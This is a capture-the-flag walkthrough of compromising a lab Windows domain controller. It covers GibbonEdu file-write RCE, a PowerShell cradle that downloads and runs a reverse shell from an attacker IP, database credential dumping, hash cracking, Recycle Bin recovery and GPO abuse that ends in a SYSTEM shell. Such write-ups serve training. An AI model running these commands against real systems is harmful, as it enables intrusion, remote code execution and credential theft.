Attack Summary

The box opened up with a webpage running Gibbon-LMS. The version was vulnerable to an unauthenticated RCE that gave the initial foothold. I then move on to enumerate MySQL since plain text credentials were discovered in the GibbonEdu config file this led me to discover f.frizzle user's hash that was crackable, this allowed me to SSH into the box. The user had a deleted file of some WAPT conducted on a Sunday which was then restored and a config file was discovered from the archive that had a password valid for another user m.Schoolbus. This new user was part of a custom group that had full control over the GPOs this allowed me to execute a malicious GPO task as nt/authority.

Scan Results

Copy
## Command
sudo nmap -Pn -p- -sCV --reason --open 10.129.232.168 -T4 -oN all-ports.nmap

## Output

PORT      STATE SERVICE       REASON          VERSION
22/tcp    open  ssh           syn-ack ttl 127 OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-08-06 15:08:46Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: frizz.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: frizz.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
59565/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
59569/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
59579/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-08-06T15:09:42
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: 6h59m38s

General Info

IP -- 10.129.232.168 OS -- Windows AD DC -- frizzdc DNS -- frizz.htb Services Available -- SSH, Kerberos, SMB, LDAP

Service Enum

The webserver re-directs to frizzdc.frizz.htb/home/ as stated by nmap too. Adding the FQDN to the /etc/hosts file and visiting the homepage i can see a Staff Login button at top right which redirects to frizzdc.frizz.htb/Gibbon-LMS/. The web page returns the GibbonEdu version used at the bottom of the page i.e v25.0.00.

After searching the web for any vulnerabilities for this version of GibbonEdu I found an Unauthenticated RCE via an Arbitrary File Write vulnerability in versions <=25.0.01.

Vulnerability Information -- GibbonEdu Gibbon LMS version 25.0.1 and earlier allows Arbitrary File Write because rubrics_visualise_saveAjax.php does not require authentication. The endpoint accepts the img, path, and gibbonPersonID parameters. The img parameter is expected to be a base64 encoded image. If the path parameter is set, the defined path is used as the destination folder, concatenated with the absolute path of the installation directory. The content of the img parameter is base64 decoded and written to the defined file path. This allows creation of PHP files that permit Remote Code Execution (unauthenticated).

CVE id -- CVE-2023-45878

PoC -- https://github.com/ulricvbs/gibbonlms-filewrite_rce

Copy
python3 gibbonlms_cmd_shell.py http://frizzdc.frizz.htb

I can get a initial shell as w.webservice but it's a web shell soo I needed to get a reverse shell connection on my NetCat listener using a web cradle. I went with a web cradle so that I could debug it if my connection is wonky or any anti-virus softwares are in play to block it.

Copy
# Getting a powershell reverse shell from the nishang collection
cp /usr/share/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 ./shell.ps1

# Making a cradle that makes a call to my python webserver 
IEX(New-Object Net.Webclient).downloadString("http://10.10.16.199:8000/shell.ps1")

# Converting the cradle to a utf-16le and encoding it to base64 to excape special characters
cat cmd | iconv -t utf-16le | base64 -w0

# Executing the base64 on the webshell through powershell
powershell -enc SQBFAFgAKABOA...IAKQAKAA==

I was able to find plain text database credentials in C:\xampp\htdocs\Gibbon-LMS\config.php file and the mysql.exe binary in C:\xampp\mysql\bin\ that allowed communication with the database and execute single line commands.

Copy
. ./mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "use gibbon; Select * from gibbonperson\G"

NOTE -- ==There shouldn't be any space after the username and password specification flags otherwise the command fails.==

The hash was made with $password.$salt which is the hash format for module 1410 for hashcat but as it turns out on the official GibbonEdu github page it was found that the password is hashed in $salt.$password format. Also weirdly hashcat accepts the previous $password.$salt format but needs module 1420 which is $salt.$password format to actually crack the hash 🙃. If you use module 1410 which is the accepted format the hash never cracks and if you make it in the 1420 format hashcat never recognizes the hash.

Copy
hashcat -m 1420 -a 0 f.frizzle.hash /usr/share/wordlists/rockyou.txt

I can now login to SSH as f.frizzle after generating the krb5.conf file and initializing the ticket.

Copy
# Generating a krb5.conf file
nxc smb frizzle.htb --generating-krb5-file frizz.krb5

# Exporting it in the environment
export KRB5_CONFIG=frizz.krb5

# Initializing the ticket
kinit f.frizzle

# Logging in
ssh -k f.frizzle@frizzledc.frizzle.htb

There are some deleted files in Recycle Bin. One interesting thing here that's a windows feature is if the path is not enclosed in single quotes i.e $RECYCLE.BIN instead of '$RECYCLE.BIN' windows actually changes the directory to the currently logged in user's home directory.

The Recycle bin has two prefixes $I and $R the first prefix $I holds the metadata in binary format. The second prefix $R is the actual deleted file. I made a ComObject to list the details of the deleted files. The ComObject allows me to specify Namespaces via CLSIDs and list the file details thats not usually visible via Get-ChildItem. This is true for all the valid CLSIDs that are Windows default i've listed below.

Copy
$shell = New-Object -com Shell.Application
$rb = $shell.Namespace(10)
$rb.items()

Default CSIDL values

CSIDL	Special Folder
0	Desktop
2	Start Menu
5	My Documents (legacy)
6	Favorites
7	Startup
10	Recycle Bin
17	My Computer (This PC)
20	Fonts
26	AppData
28	Local AppData
32	Cookies
36	Windows
37	System32

The 7-zip archive when extracted had a configuration file for the WAPT server that has the password value encoded in base64. Decoding the base64 data I had another password which was valid for m.SchoolBus. This allowed me to login to SSH as him using the same steps followed for loggin in as f.frizzle.

m.SchoolBus is a member of a non-default group the allows me to have full control over Group Policies. GPOs are settings packaged into virtual containers each GPO holds a collection of security rules, registry updates, and administrative choices. This privilege pointed to SharpGPOAbuse.exe binary which is available in SharpCollection made specifically to exploit this privilege.

Exploiting the privilege

Copy
# Make a new custom GPO
New-GPO --name "jane"

# Add a link to this computer
New-GPLink --name "Jane" --target "DC=frizz,DC=htb"

# Make a new task using SharpGPOAbuse
. ./GPOAbuse.exe --addcomputertask --GPOName "Jane" --Author "0xjane" --TaskName "RevShell" --Command "powershell.exe" --Arguments "powershell -enc SQBFAFgAKABOA...IAKQAKAA== "

# Update the GPO list to make our new GPO execute
gpupdate /force

A shell with nt/authority user is received at the NetCat listener.

---

Refrences

1. Hashcat hash modules -- https://hashcat.net/wiki/doku.php?id=example_hashes
2. SharpGPOAbuse -- https://github.com/Flangvik/SharpCollection/blob/master/NetFramework_4.5_Any/SharpGPOAbuse.exe